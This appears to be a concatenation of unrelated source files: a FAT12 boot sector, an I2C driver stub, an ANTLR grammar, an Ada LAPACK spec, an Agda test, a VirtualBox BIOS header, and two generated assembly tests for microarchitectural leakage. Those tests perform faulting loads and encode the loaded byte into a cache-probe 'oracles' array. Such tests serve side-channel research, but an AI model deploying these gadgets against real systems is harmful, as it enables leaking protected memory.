; The memory usage can be customized by changing the _SEG variables (see
; directly below).
;
; The file name to be loaded and the message displayed in case of error
; may be customized (see end of this file).
;
; The ouput values may be customized. For example, many loaders expect the
; bootsector to leave the drive number in DL. You could add "mov dl,[drive]"
; at the label "eof:".
;
; Some limits (like maximum track) may be removed. See boot16.asm for
; comparison.
;
; Change whatever else you like. The above are just likely possibilities.
;_____________________________________________________________________________
; Change the _SEG values to customize memory use during the boot.
; When planning memory use, remember:
;
; *) Each of ROOT_SEG, FAT_SEG, and IMAGE_SEG must be divisible by 0x20
;
; *) None of ROOT, FAT or IMAGE should overlap the boot code itself, or
; its stack. That means: avoid paragraphs 0x7B0 to 0x7DF.
;
; *) The FAT area must not overlap the IMAGE area. Either may overlap
; the ROOT area; But, if they do then the root will not remain in
; memory for possible reuse by the next stage.
;
; *) The FAT area and the root area must each fit within the first 64Kb
; excluding BIOS area (paragraphs 0x60 to 0xFFF).
;
; *) A FAT12 FAT can be up to 6Kb (0x180 paragraphs).
;
; *) A FAT12 root directory is typically either 0x1E0 or 0x400 paragraphs
; long, but larger sizes are possible.
;
; *) The code will be two bytes shorter when FAT_SEG is 0x800 than when it
; is another value. (If you reach the point of caring about two bytes).
;
%define ROOT_SEG 0x60
%define FAT_SEG 0x800
%define IMAGE_SEG 0x1000
%define IMAGE_START 65536
%define EX_START 0
%if ROOT_SEG & 31
%error "ROOT_SEG must be divisible by 0x20"
%endif
%if ROOT_SEG > 0xC00
%error "Root directory must fit within first 64Kb"
%endif
%if FAT_SEG & 31
%error "FAT_SEG must be divisible by 0x20"
%endif
%if FAT_SEG > 0xE80
%error "FAT must fit within first 64Kb"
%endif
%if IMAGE_SEG & 31
%error "IMAGE_SEG must be divisible by 0x20"
%endif
; The following %define directives declare the parts of the FAT12 "DOS BOOT
; RECORD" that are used by this code, based on BP being set to 7C00.
;
%define sc_p_clu bp+0Dh ;byte Sectors per cluster
%define sc_b4_fat bp+0Eh ;word Sectors (in partition) before FAT
%define fats bp+10h ;byte Number of FATs
%define dir_ent bp+11h ;word Number of root directory entries
%define sc_p_fat bp+16h ;word Sectors per FAT
%define sc_p_trk bp+18h ;word Sectors per track
%define heads bp+1Ah ;word Number of heads
%define sc_b4_prt bp+1Ch ;dword Sectors before partition
%define drive bp+24h ;byte Drive number
org 0x7C00
entry:
jmp short begin
; --------------------------------------------------
; data portion of the "DOS BOOT RECORD"
; --------------------------------------------------
brINT13Flag DB 90H ; 0002h - 0EH for INT13 AH=42 READ
brOEM DB 'MSDOS5.0' ; 0003h - OEM ID - Windows 95B
brBPS DW 512 ; 000Bh - Bytes per sector
brSPC DB 1 ; 000Dh - Sector per cluster
brSc_b4_fat DW 1 ; 000Eh - Reserved sectors
brFATs DB 2 ; 0010h - FAT copies
brRootEntries DW 0E0H ; 0011h - Root directory entries
brSectorCount DW 2880 ; 0013h - Sectors in volume, < 32MB
brMedia DB 240 ; 0015h - Media descriptor
brSPF DW 9 ; 0016h - Sectors per FAT
brSc_p_trk DW 18 ; 0018h - Sectors per head/track
brHPC DW 2 ; 001Ah - Heads per cylinder
brSc_b4_prt DD 0 ; 001Ch - Hidden sectors
brSectors DD 0 ; 0020h - Total number of sectors
brDrive DB 0 ; 0024h - Physical drive no.
DB 0 ; 0025h - Reserved (FAT32)
DB 29H ; 0026h - Extended boot record sig (FAT32)
brSerialNum DD 404418EAH ; 0027h - Volume serial number
brLabel DB 'Joels disk ' ; 002Bh - Volume label
brFSID DB 'FAT12 ' ; 0036h - File System ID
;------------------------------------------------------------------------
error: mov si, errmsg ;Same message for all detected errors
mov ax, 0xE0D ;Start message with CR
mov bx, 7
.1: int 10h
lodsb
test al, al
jnz .1
xor ah, ah
int 16h ;Wait for a key
int 19h ;Try to reboot
begin:
xor ax, ax
mov ds, ax
mov ss, ax
mov sp, 0x7C00
mov bp, sp
mov [drive], dl ;Drive number
mov al, [fats] ;Number of FATs
mul word [sc_p_fat] ; * Sectors per FAT
add ax, [sc_b4_fat] ; + Sectors before FAT
;AX = Sector of Root directory
mov si, [dir_ent] ;Max root directory entries
mov cl, 4
dec si
shr si, cl
inc si ;SI = Length of root in sectors
mov di, ROOT_SEG/32 ;Buffer (paragraph / 32)
call read_16 ;Read root directory
push ax ;Sector of cluster two
%define sc_clu2 bp-2 ;Later access to the word just pushed is via bp
mov dx, [dir_ent] ;Number of directory entries
push ds
pop es
mov di, ROOT_SEG*16
search:
dec dx ;Any more directory entries?
js error ;No
mov si, filename ;Name we are searching for
mov cx, 11 ;11 characters long
lea ax, [di+0x20] ;Precompute next entry address
push ax
repe cmpsb ;Compare
pop di
jnz search ;Repeat until match
push word [di-6] ;Starting cluster number
mov ax, [sc_b4_fat] ;Sector number of FAT
mov si, [sc_p_fat] ;Length of FAT
mov di, FAT_SEG/32 ;Buffer (paragraph / 32)
call read_16 ;Read FAT
next:
pop bx ;Cluster number
mov si, bx ;First cluster in this sequence
mov ax, bx ;Last cluster in this sequence
.0:
cmp bx, 0xFF8 ;End of file?
jae .2 ; Yes
inc ax ;Last cluster plus one in sequence
;Look in FAT for next cluster
mov di, bx ;Cluster number
rcr bx, 1 ;1.5 byte entry per cluster
;bx = 0x8000 + cluster/2
;c-bit set for odd clusters
mov bx, [bx+di+FAT_SEG*16-0x8000]
jnc .1
shr bx, 1
shr bx, 1
shr bx, 1
shr bx, 1
.1: and bh, 0xF
cmp ax, bx ;Is the next one contiguous?
je .0 ;Yes: look further ahead
.2: sub ax, si ;How many contiguous in this sequence?
jz eof ;None, must be done.
push bx ;Save next (eof or discontiguous) cluster
mov bl, [sc_p_clu] ;Sectors per cluster
mov bh, 0 ; as a word
mul bx ;Length of sequence in sectors
.3: mov di, IMAGE_SEG/32 ;Destination (paragraph / 32)
add [.3+1], ax ;Precompute next destination
xchg ax, si ;AX = starting cluster ;SI = length in sectors
dec ax
dec ax ;Starting cluster minus two
mul bx ; * sectors per cluster
add ax, [sc_clu2] ; + sector number of cluster two
adc dl, dh ;Allow 24-bit result
call read_32 ;Read it
jmp short next ;Look for more
eof:
cli
lidt [idtr]
xor ebx,ebx ; fix the gdt
;mov bx,ds ; BX=segment
;shl ebx,4 ; BX="linear" address of segment base
lea eax,[gdt + ebx] ; EAX=PHYSICAL address of gdt
mov [gdtr + 2],eax
lgdt [gdtr] ; load the gdt
mov eax,cr0 ; set the PE bit in cr0
or al,1
mov cr0,eax
jmp SYS_CODE_SEL:do_pm ; jumps to do_pm SYS_CODE_SEL
[BITS 32]
do_pm:
;int 16h
mov ax,SYS_DATA_SEL
;mov ss,ax
mov ds,ax
mov ss,ax
;mov ax,LINEAR_SEL
mov es,ax
lea esi,[errmsg] ; -> "Finally in protected mode!"
; start the os
mov eax, IMAGE_START
; mov ds, ax
; mov es, ax
xor esi, esi
; mov ss, ax
mov esp, IMAGE_START
add esp, 0xffff
jmp ENTRY
[BITS 16]
read_16:
xor dx, dx
read_32:
;
; Input:
; dx:ax = sector within partition
; si = sector count
; di = destination segment / 32
;
; The sector number is converted from a partition-relative to a whole-disk
; (LBN) value, and then converted to CHS form, and then the sectors are read
; into (di*32):0.
;
; Output:
; dx:ax updated (sector count added)
; di updated (sector count added)
; si = 0
; bp, ds preserved
; bx, cx, es modified
.1: push dx ;(high) relative sector
push ax ;(low) relative sector
add ax, [sc_b4_prt] ;Convert to LBN
adc dx, [sc_b4_prt+2]
mov bx, [sc_p_trk] ;Sectors per track
div bx ;AX = track ;DX = sector-1
sub bx, dx ;Sectors remaining, this track
cmp bx, si ;More than we want?
jbe .2 ;No
mov bx, si ;Yes: Transfer just what we want
.2: inc dx ;Sector number
mov cx, dx ;CL = sector ;CH = 0
cwd ;(This supports up to 32767 tracks
div word [heads] ;Track number / Number of heads
mov dh, dl ;DH = head
xchg ch, al ;CH = (low) cylinder ;AL=0
ror ah, 1 ;rotate (high) cylinder
ror ah, 1
add cl, ah ;CL = combine: sector, (high) cylinder
sub ax, di
and ax, byte 0x7F ;AX = sectors to next 64Kb boundary
jz .3 ;On a 64Kb boundary already
cmp ax, bx ;More than we want?
jbe .4 ;No
.3: xchg ax, bx ;Yes: Transfer just what we want
.4: push ax ;Save length
mov bx, di ;Compute destination seg
push cx
mov cl, 5
shl bx, cl
pop cx
mov es, bx
xor bx, bx ;ES:BX = address
mov dl, [drive] ;DL = Drive number
mov ah, 2 ;AH = Read command
int 13h ;Do it
jc error
pop bx ;Length
pop ax ;(low) relative sector
pop dx ;(high) relative sector
add ax, bx ;Update relative sector
adc dl, dh
add di, bx ;Update destination
sub si, bx ;Update count
jnz .1 ;Read some more
ret
errmsg db 10,"Error loading bootsector",13
db 10,"Press a key to reboot",13,10,0
;errmsg db 0
;times(14) db 0
;;;;;;;;;;;;;;;;;;;;;;;
; 32-bit mode stuff! ;
;;;;;;;;;;;;;;;;;;;;;;;
idtr:
dw 0
dd 00
gdtr: dw gdt_end - gdt - 1 ; GDT limit
dd gdt ; (GDT base gets set above)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; global descriptor table (GDT)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; null descriptor
gdt: dw 0 ; limit 15:0
dw 0 ; base 15:0
db 0 ; base 23:16
db 0 ; type
db 0 ; limit 19:16, flags
db 0 ; base 31:24
; linear data segment descriptor
LINEAR_SEL equ $-gdt
dw 0xFFFF ; limit 0xFFFFF
dw 0 ; base 0
db 0
db 0x92 ; present, ring 0, data, expand-up, writable
db 0xCF ; page-granular, 32-bit
db 0
; code segment descriptor
SYS_CODE_SEL equ $-gdt
gdt2: dw 0xFFFF ; limit 0xFFFFF
dw 0 ; (base gets set above)
db 0
db 0x9A ; present, ring 0, code, non-conforming, readable
db 0xCF ; page-granular, 32-bit
db 0
; data segment descriptor
SYS_DATA_SEL equ $-gdt
gdt3: dw 0xFFFF ; limit 0xFFFFF
dw 0 ; (base gets set above)
db 0
db 0x92 ; present, ring 0, data, expand-up, writable
db 0xCF ; page-granular, 32-bit
db 0
gdt_end:
size equ $ - entry
%if size+11+2 > 512
%error "code is too large for boot sector"
%endif
times (512 - size - 11 - 2) db 0
filename db "BOOT2 " ;11 byte name
db 0x55, 0xAA ;2 byte boot signature
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_1258.asm | ljhsiun2/medusa | 9 | 179785 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x4ab8, %rdx
clflush (%rdx)
nop
add $19651, %r12
movb $0x61, (%rdx)
nop
nop
nop
and $29049, %rbx
lea addresses_A_ht+0xe768, %rsi
lea addresses_UC_ht+0x1a9e8, %rdi
nop
nop
nop
nop
nop
xor %r8, %r8
mov $97, %rcx
rep movsq
nop
nop
lfence
lea addresses_normal_ht+0xa6c8, %rsi
lea addresses_A_ht+0x1e668, %rdi
nop
nop
nop
nop
nop
xor %r14, %r14
mov $40, %rcx
rep movsb
nop
nop
nop
nop
nop
xor %r14, %r14
lea addresses_A_ht+0x7b88, %rsi
lea addresses_WT_ht+0x1a768, %rdi
nop
xor %rdx, %rdx
mov $15, %rcx
rep movsl
nop
sub %r12, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r14
push %r15
push %r9
// Faulty Load
lea addresses_WC+0x968, %r9
nop
nop
nop
nop
nop
sub $4934, %r15
mov (%r9), %r13d
lea oracles, %r12
and $0xff, %r13
shlq $12, %r13
mov (%r12,%r13,1), %r13
pop %r9
pop %r15
pop %r14
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': True}}
{'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
libsrc/_DEVELOPMENT/target/yaz180/driver/i2c/c/sccz80/i2c_set_speed.asm | Frodevan/z88dk | 640 | 103362 | <reponame>Frodevan/z88dk
SECTION code_driver
EXTERN asm_i2c_set_speed
PUBLIC i2c_set_speed
;------------------------------------------------------------------------------
; Set the PCA9665 device speed mode
;
; set the speed mode relevant for the specific device
; input HL = desired speed mode, 0, 1, 2, 3
; input A = device address, __IO_I2C1_PORT_MSB or __IO_I2C2_PORT_MSB
;
; extern void __LIB__ i2c_set_speed(uint8_t device,enum i2c_speed_mode) __smallc;
.i2c_set_speed
pop bc ;ret
pop hl ;speed_mode
dec sp
pop af ;device address
push af
inc sp
push hl
push bc ;ret
jp asm_i2c_set_speed
|
docs/CTParser.g4 | neoncitylights/ContextualTime | 0 | 1832 | parser grammar CTParser;
options { tokenVocab=CTLexer };
phrase_on
: ON ' ' DAYOFWEEK
;
phrase_in
: MONTH
;
|
source/ada_lapack-extras.ads | leo-brewin/ada-lapack | 5 | 17343 | <filename>source/ada_lapack-extras.ads
generic
package Ada_Lapack.Extras is
----------------------------------------------------------------------------------
-- Some extra procedures built upon the Lapack routines.
-- determinants of a square marix ------------------------------------------------
function MatrixDeterm (Source : Real_Matrix) return Real;
function MatrixDeterm (Source : Complex_Matrix) return Complex;
-- eigenvalues of a square matrix ------------------------------------------------
function Eigenvalues (Source : Real_Matrix) return Complex_vector;
function Eigenvalues (Source : Complex_Matrix) return Complex_vector;
function EigenvaluesRealSymm (Source : Real_Matrix) return Real_Vector;
function EigenvaluesHermSymm (Source : Complex_Matrix) return Real_Vector;
-- eigenvalues and (right) eigenvectors of a square matrix -----------------------
procedure Eigensystem (Source : Real_Matrix;
Eigenvalues : out Complex_Vector;
Eigenvectors : out Complex_Matrix);
procedure Eigensystem (Source : Complex_Matrix;
Eigenvalues : out Complex_Vector;
Eigenvectors : out Complex_Matrix);
procedure EigensystemRealSymm (Source : Real_Matrix;
Eigenvalues : out Real_Vector;
Eigenvectors : out Real_Matrix);
procedure EigensystemHermSymm (Source : Complex_Matrix;
Eigenvalues : out Real_Vector;
Eigenvectors : out Complex_Matrix);
-- inverse of a square matrix ----------------------------------------------------
function MatrixInverse (Source : Real_Matrix) return Real_Matrix;
function MatrixInverse (Source : Complex_Matrix) return Complex_Matrix;
-- solutions of linear systems of equations --------------------------------------
function SolveSystem (Source_mat : Real_Matrix;
Source_rhs : Real_Vector) return Real_Vector;
function SolveSystem (Source_mat : Complex_Matrix;
Source_rhs : Complex_Vector) return Complex_Vector;
function SolveSystem (Source_mat : Real_Matrix;
Source_rhs : Real_Matrix) return Real_Matrix;
function SolveSystem (Source_mat : Complex_Matrix;
Source_rhs : Complex_Matrix) return Complex_Matrix;
function SolveSystemRealSymm (Source_mat : Real_Matrix;
Source_rhs : Real_Matrix) return Real_Matrix;
function SolveSystemHermSymm (Source_mat : Complex_Matrix;
Source_rhs : Complex_Matrix) return Complex_Matrix;
procedure SolveSystem
(Solution : out Real_Vector;
Source_mat : Real_Matrix;
Source_rhs : Real_Vector;
Size : Integer);
procedure SolveSystem
(Solution : out Complex_Vector;
Source_mat : Complex_Matrix;
Source_rhs : Complex_Vector;
Size : Integer);
end Ada_Lapack.Extras;
|
test/Fail/ParseForallAbsurd.agda | cruhland/agda | 1,989 | 15071 | <reponame>cruhland/agda
-- Andreas, 2010-09-24
module ParseForallAbsurd where
parseFails : forall () -> Set1
parseFails x = Set
-- this does no longer give the error message
-- "absurd lambda cannot have a body"
|
libsrc/nc100/txtunderlineon.asm | meesokim/z88dk | 0 | 99721 | PUBLIC txtunderlineon
.txtunderlineon
jp 0xB84B
|
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0_notsx.log_1_1621.asm | ljhsiun2/medusa | 9 | 102369 | <filename>Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xa0_notsx.log_1_1621.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0xb008, %rsi
lea addresses_WC_ht+0x19c88, %rdi
inc %rax
mov $36, %rcx
rep movsq
nop
nop
nop
xor $57139, %rax
lea addresses_D_ht+0x16608, %rdx
nop
nop
nop
nop
cmp %rdi, %rdi
mov $0x6162636465666768, %r13
movq %r13, %xmm0
vmovups %ymm0, (%rdx)
nop
nop
xor $55534, %rsi
lea addresses_WT_ht+0xa0c8, %rsi
lea addresses_A_ht+0x13114, %rdi
xor %r15, %r15
mov $73, %rcx
rep movsl
nop
nop
nop
nop
xor $8630, %rax
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
// REPMOV
lea addresses_RW+0x2008, %rsi
lea addresses_RW+0x104a8, %rdi
nop
nop
dec %r13
mov $105, %rcx
rep movsq
nop
nop
nop
inc %rsi
// Load
lea addresses_WC+0x1e3c8, %r13
inc %rax
mov (%r13), %edi
nop
nop
nop
add $8813, %rbp
// Load
lea addresses_A+0x11ea0, %rbp
nop
nop
nop
nop
nop
add %r11, %r11
mov (%rbp), %r13
nop
nop
nop
sub $63774, %r11
// Store
lea addresses_UC+0x1b08, %rsi
clflush (%rsi)
nop
add $16871, %rax
movb $0x51, (%rsi)
nop
nop
nop
nop
nop
and %r11, %r11
// REPMOV
lea addresses_UC+0x16b08, %rsi
lea addresses_UC+0x1b08, %rdi
nop
nop
nop
nop
nop
inc %r8
mov $18, %rcx
rep movsw
nop
nop
nop
nop
and %r8, %r8
// Load
lea addresses_UC+0x1b08, %r8
add $41443, %rax
movups (%r8), %xmm5
vpextrq $1, %xmm5, %rdi
sub $1032, %r13
// Store
lea addresses_normal+0x1e008, %rcx
nop
nop
inc %rsi
movb $0x51, (%rcx)
nop
nop
nop
nop
add $4840, %rbp
// Store
mov $0x57831d0000000448, %rdi
nop
nop
nop
nop
nop
cmp $10862, %rbp
movb $0x51, (%rdi)
nop
nop
nop
nop
nop
xor $11308, %rcx
// Load
lea addresses_UC+0x1b08, %r8
nop
sub %r13, %r13
movb (%r8), %cl
nop
nop
nop
nop
nop
sub $47004, %r8
// Store
lea addresses_A+0x18b08, %rbp
nop
nop
nop
xor $29182, %rax
mov $0x5152535455565758, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%rbp)
inc %rsi
// Store
mov $0x1f0, %rsi
nop
nop
nop
and %r8, %r8
movl $0x51525354, (%rsi)
nop
nop
nop
nop
sub %r11, %r11
// Load
lea addresses_RW+0x6008, %r8
nop
nop
nop
nop
sub %rcx, %rcx
movb (%r8), %r13b
// Exception!!!
nop
nop
nop
mov (0), %r11
nop
nop
nop
sub %r13, %r13
// Store
lea addresses_normal+0xb56a, %rdi
nop
cmp %r8, %r8
mov $0x5152535455565758, %rcx
movq %rcx, %xmm5
movups %xmm5, (%rdi)
add %rsi, %rsi
// Store
lea addresses_US+0x5c48, %rdi
nop
nop
nop
xor $62924, %rsi
movb $0x51, (%rdi)
// Exception!!!
nop
nop
nop
nop
xor %rcx, %rcx
div %rcx
nop
nop
nop
nop
nop
sub %r8, %r8
// Load
lea addresses_WC+0x1f988, %rdi
nop
nop
and $31066, %rax
movb (%rdi), %r13b
nop
nop
and %rax, %rax
// Faulty Load
lea addresses_UC+0x1b08, %rdi
cmp %rsi, %rsi
mov (%rdi), %rax
lea oracles, %r13
and $0xff, %rax
shlq $12, %rax
mov (%r13,%rax,1), %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_RW', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_RW', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}}
{'src': {'type': 'addresses_UC', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC', 'congruent': 0, 'same': True}}
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_UC', 'AVXalign': True, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_RW', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}}
{'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_UC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'00': 1}
00
*/
|
vbox/src/VBox/Devices/PC/BIOS/VBoxBiosAlternative8086.asm | Nurzamal/rest_api_docker | 0 | 103010 | ; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
;; @file
; Auto Generated source file. Do not edit.
;
;
; Source file: post.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; BIOS POST routines. Used only during initialization.
;
;
;
; Copyright (C) 2004-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; Source file: bios.c
;
; $Id: VBoxBiosAlternative8086.asm 69807 2017-11-22 13:55:09Z vboxsync $
; PC BIOS - ???
;
;
;
; Copyright (C) 2006-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
; --------------------------------------------------------------------
;
; This code is based on:
;
; ROM BIOS for use with Bochs/Plex86/QEMU emulation environment
;
; Copyright (C) 2002 MandrakeSoft S.A.
;
; MandrakeSoft S.A.
; 43, rue d'Aboukir
; 75002 Paris - France
; http://www.linux-mandrake.com/
; http://www.mandrakesoft.com/
;
; This library is free software; you can redistribute it and/or
; modify it under the terms of the GNU Lesser General Public
; License as published by the Free Software Foundation; either
; version 2 of the License, or (at your option) any later version.
;
; This library is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of
; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; Lesser General Public License for more details.
;
; You should have received a copy of the GNU Lesser General Public
; License along with this library; if not, write to the Free Software
